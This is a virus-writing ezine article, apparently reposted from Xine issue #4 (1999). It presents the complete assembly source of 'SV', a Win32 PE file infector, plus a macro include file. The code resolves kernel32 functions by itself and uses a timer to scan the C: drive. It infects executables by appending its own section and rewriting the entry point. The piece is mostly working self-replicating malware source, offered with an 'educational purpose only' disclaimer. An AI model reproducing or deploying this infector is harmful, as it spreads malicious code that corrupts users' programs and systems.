Copy Link
Add to Bookmark
Report

Xine - issue #4 - Phile 212

eZine's profile picture
Published in 
Xine
 · 7 months ago

 
/-----------------------------\
| Xine - issue #4 - Phile 212 |
\-----------------------------/


So, that's my 1st PE infector, it work in ring3. His work is easy to
understand: he allocate a timer then give back control to host.
The timer proc will browse the entire hard drive till the host finish,
while the host is working. For the rest, I think that thou are clever
enough to understand how i don't modify import entries etc...
Let's have fun!

Note: that virus is quite old and he got a bug: some hosts, when
closing it, happend to take all CPU time to call timer proc and
then don't stop either the program either the virus ( u have to use
ctrl-alt-del )
Note: It's for educational purpose only! You can use it as you
want, but I decline all the responsability in case of... etc. etc...
That's in order to help newbies, so SV will log each files it (try)
to infect in "c:\sv.log".

Files: Sv.Asm : the main body of the virus
Defs.Inc : some useful stuff to easier the import part
Not inclued here : Win32.Inc : some practical win32 constants etc.

Note: some part of code are here commented, that are the calls to
"MessageBox" when an infection is done or something like that,
uncomment'em to have a complete overview of what happend.

15 - 1 - 99 - n0ph - IKX - That's all folks!

-----------------------------
sv.asm
-----------------------------

.386
.locals
.jumps
.model flat,STDCALL
L equ <LARGE>
VirusSize = (offset VirusEnd-offset VirusBegin)
PlusSize = (offset PlusEnd-offset VirusEnd)
wfdSize = (size WIN32_FIND_DATA)

include win32.inc
include defs.inc

Pile Segment stack use32
db 1000h dup (?)
Pile ends

PCode Segment use32
assume cs:PCode, ds:PCode, ss:Pile

VirusBegin:

KrnlImport PLoadLib, 'LoadLibraryA'
KrnlImport PGetProcAdr, 'GetProcAddress'

KrnlImport SFFFile, 'FindFirstFileA'
KrnlImport SFNFile, 'FindNextFileA'
KrnlImport SFCFile, 'FindClose'
KrnlImport SCreateFile, 'CreateFileA'
KrnlImport SFSize, 'GetFileSize'
KrnlImport SFSeek, 'SetFilePointer'
KrnlImport SReadFile, 'ReadFile'
KrnlImport SWriteFile, 'WriteFile'
KrnlImport SCloseHndl, 'CloseHandle'
KrnlImport SMAlloc, 'GlobalAlloc'
KrnlImport SMFree, 'GlobalFree'
KrnlImport SExit, 'ExitProcess'

Library User32, 'user32.dll'

Import SMsgBox, User32, 'MessageBoxA'
Import SSetTimer, User32, 'SetTimer'
Import SKillTimer, User32, 'KillTimer'

FutureEIP dd offset Start
;this will be the section i'll write in infected files
SectionHdr db '.SV'
db 5 dup (0) ;Name of section
SRSize dd 0 ;Size in RAM
SRVA dd ? ;Where it will be loaded in RAM
SFlSize dd ? ;size in file
SFlOff dd ? ;where in file
dd 3 dup (0) ;some unneeded stuff
dd 0f0000060h ;some flags...

NxtPart dd 0 ;For Part merging {
SzPart dd ? ; }

;only for testing
LogName db 'c:\sv.log', 0
LogHndl dd ?
CRLF db 13, 10

InfectStr db 'Infect...', 0
SubDirStr db '=>', 0
LogDirStr db '..', 0

VStart: ;At start, eax = eip, then eax = real offset of VStart
sub eax,offset VStart
mov [offset sEBX+eax],ebx
mov [offset sECX+eax],ecx
mov [offset sEDX+eax],edx
mov [offset sEDI+eax],edi
mov [offset sESI+eax],esi
mov [offset sEBP+eax],ebp

mov edx,[esp]
call GetKrnlBase

mov edi,eax

DoKrnlImport PLoadLib
DoKrnlImport PGetProcAdr

DoKrnlImport SFFFile
DoKrnlImport SFNFile
DoKrnlImport SFCFile
DoKrnlImport SCreateFile
DoKrnlImport SFSize
DoKrnlImport SFSeek
DoKrnlImport SReadFile
DoKrnlImport SWriteFile
DoKrnlImport SCloseHndl
DoKrnlImport SMAlloc
DoKrnlImport SMFree
DoKrnlImport SExit

LoadLibrary User32
DoImport SMsgBox
DoImport SSetTimer
DoImport SKillTimer

push dword ptr [offset FutureEIP+edi] ;for the 'ret' at the end

push L 0
push L 0
push L CREATE_ALWAYS
push L 0
push L 0
push L GENERIC_READ+GENERIC_WRITE
lea eax,[offset LogName+edi]
push eax
CallImp SCreateFile
mov [offset LogHndl+edi],eax

lea eax,[offset wfd+edi]
push eax
lea eax,[offset DriveIndx+edi]
push eax
CallImp SFFFile
mov FndHndl[edi],eax

lea eax,[offset TimerProc+edi]
push eax
push L 5000 ;all 5 seconds
push L 0
push L 0
CallImp SSetTimer
mov [offset TimerHndl+edi], eax

RetHost:push dword ptr [offset sEDI+edi]
mov eax,[esp+4]
mov ebx,[offset sEBX+edi]
mov ecx,[offset sECX+edi]
mov edx,[offset sEDX+edi]
mov esi,[offset sESI+edi]
mov ebp,[offset sEBP+edi]
pop edi
ret ;to FutureEIP

GetKrnlImport proc
;parm: edx = kernel base
; esi = fct struct ( dd ptr, db[] name, 0 )
push ebp
mov ebp,edi ;That's the only reg we don't
;use here...

push esi ;Save it!
mov ebx,edx ;ebx=MZ PTR
add ebx,[ebx+3ch] ;ebx=PE PTR
mov ebx,[ebx+78h] ;ebx=Export tables RVA
add ebx,edx ;ebx=Export tables PTR

mov edi,[ebx+20h] ;edi=Names table RVA
lea edi,[edi+edx-4] ;edi=Names table PTR - 4
; cuz + 4 after
mov [offset Save1+ebp],edi
lea esi,[esi+4] ;esi=PTR to name to look
mov [offset Save2+ebp], esi
ESLoop:
mov edi,[offset Save1+ebp]
mov esi,[offset Save2+ebp]
add edi,4
mov [offset Save1+ebp],edi
mov edi,[edi]
add edi,edx
ESStrLoop:
lodsb
cmp al,[edi]
jnz ESLoop ;Not equal, then next
inc edi
or al,al
jz ESFound ;0=end of string
jmp ESStrLoop
ESFound:
mov edi,[offset Save1+ebp] ;edi=PTR -> fct name
sub edi,[ebx+20h] ;edi=Fct# * 4 + Kernel
sub edi, edx ;edi=Fct# * 4

mov eax,[ebx+1ch] ;eax=RVA -> export table
lea eax,[edx+eax] ;eax=PTR -> export table

mov ecx,[ebx+14h]
sub ecx,[ebx+18h]
lea eax,[eax+4*ecx] ;eax=RVA -> named fcts
mov eax,[eax+edi] ;eax=RVA -> fct

add eax,edx ;eax=PTR -> fct
pop esi ;Restore it!
mov [esi],eax

mov edi,ebp
pop ebp
ret
GetKrnlImport endp

GetImport proc
;parm: esi = fct struct ( dd ptr, dd HInst ptr, db[] name )
lea eax,[esi+8]
push eax
mov eax,[esi+4]
push dword ptr [eax+edi]
CallImp PGetProcAdr
mov [esi],eax
ret
GetImport endp

InfectFileA proc
;parms: esi = FileName
;return: CF = 0 : ok, 1 : Nope!

push L 0
push L 0
push L OPEN_EXISTING
push L 0
push L 0
push L GENERIC_READ+GENERIC_WRITE
push esi
CallImp SCreateFile
cmp eax,-1
jz ErrRet ;not opened
mov [offset FHndl+edi], eax

push L 0 ;but we need only the low dword
;( this PTR->High dword )
push dword ptr [offset FHndl+edi] ;of FHndl
CallImp SFSize ;get file size

mov [offset SFlOff+edi], eax

add eax,1000h ;Plus some other bytes for me
push eax ;file size bytes++
push L GMEM_FIXED ;so that it don't move ;)
CallImp SMAlloc ;allocate global memory
mov esi,eax ;esi=PTR -> our memory

or eax,eax
jz ErrRetA ;not enough memory!

push L 0

lea eax,[offset Buffer+edi]
push eax ;here will be number of bytes
;"well-readed"
mov eax, [offset SFlOff+edi]
push eax ;file size
push esi ;there!
push dword ptr [offset FHndl+edi] ;and from there...
CallImp SReadFile ;now, put raw file in memory
;note: always work...
cmp word ptr [esi],'ZM'
jnz ErrRetB
or edi,edi
;Now that the file is mapped, we can begin... 1st: let look for the
;entry point RVA, that will come in 'FutureEIP'
mov eax,[esi+3ch] ;PE offset in file, like a RVA
cmp eax,[offset SFlOff+edi] ;Dos EXE have some nasty values...
jnb ErrRetB
add eax,esi ;esi=PTR -> PE
cmp word ptr [eax],'EP'
jnz ErrRetB
mov edx,[eax+28h] ;Prog entry point (RVA)
add edx,[eax+34h] ;Plus base
mov dword ptr [offset FutureEIP+edi],edx
;Now, we have to put our section...
;We have to know where to put the section header in the file
;(if we have enough room), and where we could put it in memory
movzx ecx,word ptr [eax+6] ;number of sections
movzx ebx,word ptr [eax+14h] ;size of optional header
;it come at offset 18 in
;the header
cmp ebx,0d0h ;What info we need...
jb ErrRetB

mov edx,ebx
mov ebx,[eax+0a4h] ;Size of relocation datas
mov [offset RelSz+edi],ebx ;Save it!
mov ebx,[eax+0a0h] ;RVA of relocation datas
mov [offset RelRVA+edi],ebx ;Save it!

lea ebx,[edx+eax+18h] ;ebx=1st section header
mov dword ptr [offset SRVA+edi],0
mov dword ptr [offset Save1+edi],-1 ;unsigned=>maxxxxx.....
SLLoop:
mov edx,[ebx+0ch] ;RVA of section
;|SctRVA=edx| |RelRVA| |SctRVA+SctSz|
sub edx,[offset RelRVA+edi]
jg NotReloc2 ;|RelRVA| |SctRVA| |SctRVA+SctSz|
neg edx ;|SctRVA| EDX |RelRVA| |SctRVA+SctSz|
cmp edx,[ebx+08h] ;cmp edx,SctSz
jg NotReloc1
add edx,[ebx+14h] ;Where section is in file
mov [offset RelFle+edi],edx ;Save where Relocations are in file
sub edx,[ebx+14h] ;restore edx
NotReloc1:
neg edx ;restore edx
NotReloc2:
add edx,[offset RelRVA+edi] ;restore edx
add edx,[ebx+08h] ;size of section
cmp edx,[offset SRVA+edi]
jb NotAfterRam
mov [offset SRVA+edi],edx
NotAfterRam:
mov edx,[ebx+14h] ;Where section is in file
jz NotBeforeFle ;if 0 => not in file/initialised
cmp edx,[offset Save1+edi]
ja NotBeforeFle
mov [offset Save1+edi],edx
NotBeforeFle:
add ebx,28h ;28h=size of section header
loop SLLoop

sub ebx,esi ;ebx=RVA of after section headers
add ebx,28h ;28h=size of section header
cmp ebx,[offset Save1+edi]
ja ErrRetB ;not enough room for my header :(((
add ebx,esi
sub ebx,50h
;Perhaps is that file already infected...
cmp dword ptr [ebx], 0056532Eh ; '.SV', 0
jz OkRet ;Already infected
add ebx,28h ;28h=size of section header

;We have to calculate the size of section and in the infected file
;with the file alignement and his size in the ram...
push ebx ;Do not exchange this 2 push, cuz we
push eax ;will get this w/ [esp]
mov ebx,[eax+3ch] ;file alignement
mov eax,VirusSize
xor edx,edx
div ebx
or edx,edx
jz KeepSFlSize
inc eax
KeepSFlSize:
mul ebx
mov [offset SFlSize+edi],eax

mov eax,[offset SFlOff+edi]
div ebx
or edx,edx
jz KeepSFlOff
inc eax
mul ebx
mov [offset SFlOff+edi], eax
KeepSFlOff:

mov eax,PlusSize+VirusSize
mov ebx,[esp]
mov ebx,[ebx+3ch] ;Alignement
div ebx
or edx,edx
jz KeepSRSize
inc eax
mul ebx
mov [offset SRSize+edi], eax
KeepSRSize:

mov eax,[offset SRVA+edi]
div ebx
or edx,edx
jz KeepSRVA
inc eax
mul ebx
mov [offset SRVA+edi], eax
KeepSRVA:

pop eax
pop ebx

;;Set properly some internals variables
; mov edx,[offset SRVA+edi]
; add [offset FutureEIP+edi],edx
;Copy section header in the file
xchg esi,edx
xchg edi,ebx
lea esi,[offset SectionHdr+ebx]
mov ecx,10
rep movsd
;Copy me at end of file
lea esi,[offset VirusBegin+ebx]
mov edi,[offset SFlOff+ebx]
add edi,edx
mov ecx,(VirusSize/4)+1
rep movsd

xchg edi,ebx
xchg esi,edx

;Ok, now, just inc the number of sections!
inc word ptr [eax+6] ;easy!

;Now, let's change the entry point...
mov edx,[offset SRVA+edi]
add edx,offset VStart-offset VirusBegin
mov [eax+28h],edx

;Well... just save our work...
push L FILE_BEGIN
lea eax,[offset Buffer+edi]
mov dword ptr [eax],0
push L eax
push L 0
push dword ptr [offset FHndl+edi]
CallImp SFSeek

push L 0 ;overlapped?
lea eax,[offset Buffer+edi]
push eax ;here will be number of bytes written
mov eax,[offset SFlOff+edi]
add eax,[offset SFlSize+edi]
push eax ;file size
push esi ;from there...
push dword ptr [offset FHndl+edi] ;and there!
CallImp SWriteFile ;hehemuahahahah AHAHA!

push esi
CallImp SMFree ;free that unneeded mem

push dword ptr [offset FHndl+edi]
CallImp SCloseHndl ;Ok

jmp OkRet

ErrRetB:push esi
CallImp SMFree
ErrRetA:push dword ptr [offset FHndl+edi]
CallImp SCloseHndl
ErrRet: stc
jmp IFARet
OkRet: clc
IFARet: ret
InfectFileA endp

TimerProc proc uses ebx edi esi, hWnd:DWORD, uMsg:DWORD, idEvent:DWORD, dwTime:DWORD
;Thus is called each second and try to infect the next file
call SReloc
SReloc: pop edi
sub edi,offset SReloc

mov dword ptr [offset Buffer+edi],2 ;1 iteration = 2 try
lea edx,[offset wfd+edi]
TimerStart:
mov eax,[edx] ;File attribute
test eax,FILE_ATTRIBUTE_DIRECTORY
jnz TPUpDir
test eax,FILE_ATTRIBUTE_COMPRESSED
jnz TPNextFile

call ConcatPath
lea esi,[offset DriveIndx+edi]
call AddLog

; push L MB_OK
; lea eax,[offset InfectStr+edi]
; push eax
; push esi
; push L 0
; CallID SMsgBox

push edx
call InfectFileA
pop edx
dec dword ptr [offset Buffer+edi]


TPNextFile:
mov ecx,[offset FndHndlIndx+edi]
push edx
push FndHndl[edi+4*ecx]
CallID SFNFile
or eax,eax
jnz TPRet ;Found => not down_dir
TPDownDir:
mov ecx,[offset FndHndlIndx+edi]
push FndHndl[edi+4*ecx]
CallICD SFCFile

dec ecx
jz TPNextDrive
mov [offset FndHndlIndx+edi],ecx
lea esi,[offset LogDirStr+edi]
call AddLog

mov ebx,edi

lea edi,[offset PathName+ebx]
mov ecx,-1
xor al,al
repnz scasb
std
mov al,'\'
repnz scasb
repnz scasb
inc edi
cld

mov eax,'*.*\'
stosd
xor al,al
stosb
mov edi,ebx

jmp TPNextFile
TPUpDir:
lea esi,[edx+44] ;File name
cmp byte ptr [esi], '.' ;for "." and ".."
je TPNextFile

mov ecx,[offset FndHndlIndx+edi]
inc ecx
mov [offset FndHndlIndx+edi],ecx

call ConcatPath
mov dword ptr [ebx],'*.*\' ;"\*.*"for those who don't
mov byte ptr [ebx+4],0

lea esi,[offset DriveIndx+edi]
call AddLog
; push L MB_OK
; lea eax,[offset SubDirStr+edi]
; push eax
; lea eax,[offset DriveIndx+edi]
; push eax
; push L 0
; CallID SMsgBox

push edx
lea eax,[offset DriveIndx+edi]
push eax
CallID SFFFile
cmp eax,-1
je TPDownDir
mov ecx,[offset FndHndlIndx+edi]
mov FndHndl[edi+4*ecx],eax
jmp TPRet
TPNextDrive:
;Here, it would be next drive ( c: -> d: -> ... ), but not yet found...
;i just kill my timer
; mov dword ptr [offset FndHndlIndx+edi],0
; mov PathName[edi],0
; push edx
; lea eax,[offset DriveIndx+edi]
; push eax
; CallID SFFFile
; mov FndHndl[edi],eax
push dword ptr [offset TimerHndl+edi]
push L 0
CallImp SKillTimer
jmp TPEnd
TPRet: mov ecx,[offset Buffer+edi]
or ecx,ecx
jnz TimerStart
TPEnd: ret
TimerProc endp

ConcatPath proc
; parm: -
; ret: [ebx] = 0 of end of string
mov ebx,edi

lea edx,[offset wfd+edi]
lea esi,[edx+44+MAX_PATH] ;8.3 name
cmp byte ptr [esi],0
jnz CPNamed
sub esi,MAX_PATH ;8.3 name = real name
CPNamed:lea edi,[offset PathName+ebx]
mov ecx,-1
xor al,al
repnz scasb
std
dec edi
mov al,'\'
repnz scasb
inc edi
cld

inc edi

CPBcl: lodsb
or al,al
jz CPFBcl
stosb
jmp CPBcl
CPFBcl: xor al,al
stosb
dec edi
xchg edi,ebx

ret
ConcatPath endp

AddLog proc
call StrLen

push L 0 ;overlapped?
lea eax,[offset Save2+edi]
push eax ;here will be number of bytes written
push ecx
push esi ;from there...
push dword ptr [offset LogHndl+edi] ;and there!
CallID SWriteFile

push L 0 ;overlapped?
lea eax,[offset Save2+edi]
push eax ;here will be number of bytes written
push L 2
lea eax,[offset CRLF+edi]
push eax
push dword ptr [offset LogHndl+edi] ;and there!
CallID SWriteFile

ret
AddLog endp

StrLen proc
mov ecx,-1
mov ebx,edi
mov edi,esi
xor al,al
repnz scasb
not ecx
mov edi,ebx
ret
StrLen endp

GetKrnlBase proc
;parm: edx = begin [esp]
;ret: edx = kernel base
KrnlSrch:
dec edx
cmp edx,[edx+0b4h]
jnz GetKrnlBase
ret
GetKrnlBase endp

FndHndlIndx dd 0

NDrives db 1
DriveIndx db 'c'
db ':\'
PathName db '*.*', MAX_PATH-6 dup (0) ;6="c:\*.*"

VirusEnd:

TimerHndl dd ?

sEBX dd ?
sECX dd ?
sEDX dd ?
sEDI dd ?
sESI dd ?
sEBP dd ?
Buffer dd ?

FHndl dd ?

wfd WIN32_FIND_DATA <?>
FndHndl dd 64 dup (?) ;Max 64 subdirs (c:\1\2\3\4\...\64)

Save1 dd ?
Save2 dd ?
RelSz dd ?
RelRVA dd ?
RelFle dd ?

PlusEnd:

KrnlImport SGetCmdLine, 'GetCommandLineA'
SVStr db 'SV filename.exe', 0
CmdLnStr db 'You have to drag a file to the infector EXE or to specify the name of the file to infect with the command line.', 0
OkStr db 'File successfuly infected.', 0
BadStr db 'The file cannot be infected!', 0

Start: mov edx,[esp]
call GetKrnlBase
xor edi,edi
DoKrnlImport PLoadLib
DoKrnlImport PGetProcAdr
DoKrnlImport SGetCmdLine
DoKrnlImport SCreateFile
DoKrnlImport SFSize
DoKrnlImport SFSeek
DoKrnlImport SReadFile
DoKrnlImport SWriteFile
DoKrnlImport SCloseHndl
DoKrnlImport SMAlloc
DoKrnlImport SMFree
DoKrnlImport SExit
LoadLibrary User32
DoImport SMsgBox
CallImp SGetCmdLine
mov edi,eax
mov ecx,-1
inc edi
mov al,'"'
repnz scasb
mov al,' '
repz scasb
lea esi,[edi-1]
mov Save2,esi
xor edi,edi
cmp byte ptr [esi],0
jz SVNoCL
call InfectFileA
jc SVNoInf
push L MB_OK+MB_ICONINFORMATION
push offset OkStr
push Save2
jmp SVMsgBx
SVNoInf:
push L MB_OK+MB_ICONERROR
push offset BadStr
push Save2
jmp SVMsgBx
SVNoCL:
push L MB_OK+MB_ICONWARNING
push offset SVStr
push offset CmdLnStr
SVMsgBx:push L 0
CallImp SMsgBox
push L 0
call dword ptr [SExit]
PCode ends
end Start

-----------------------------
defs.inc
-----------------------------
KrnlImport macro Name, DLLName
Name dd ?
db DLLName, 0
endm

DoKrnlImport macro Name
lea esi,[offset Name+edi]
call GetKrnlImport
endm

Import macro Name, DLLHndl, DLLName
Name dd ?
dd offset DLLHndl
db DLLName, 0
endm

DoImport macro Name
lea esi,[offset Name+edi]
call GetImport
endm

Library macro Name, DLLName
Name dd ?
db DLLName, 0
endm

LoadLibrary macro Name
lea eax,[offset Name+4+edi]
push eax
call dword ptr [PLoadLib+edi]
mov [offset Name+edi],eax
endm

CallImp macro Name
call dword ptr [Name+edi]
endm

CallID macro Name
mov [offset Save1+edi],edx
call dword ptr [Name+edi]
mov edx,[offset Save1+edi]
endm

CallIC macro Name
mov [offset Save1+edi],ecx
call dword ptr [Name+edi]
mov ecx,[offset Save1+edi]
endm

CallICD macro Name
mov [offset Save1+edi],ecx
mov [offset Save2+edi],edx
call dword ptr [Name+edi]
mov ecx,[offset Save1+edi]
mov edx,[offset Save2+edi]
endm



← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT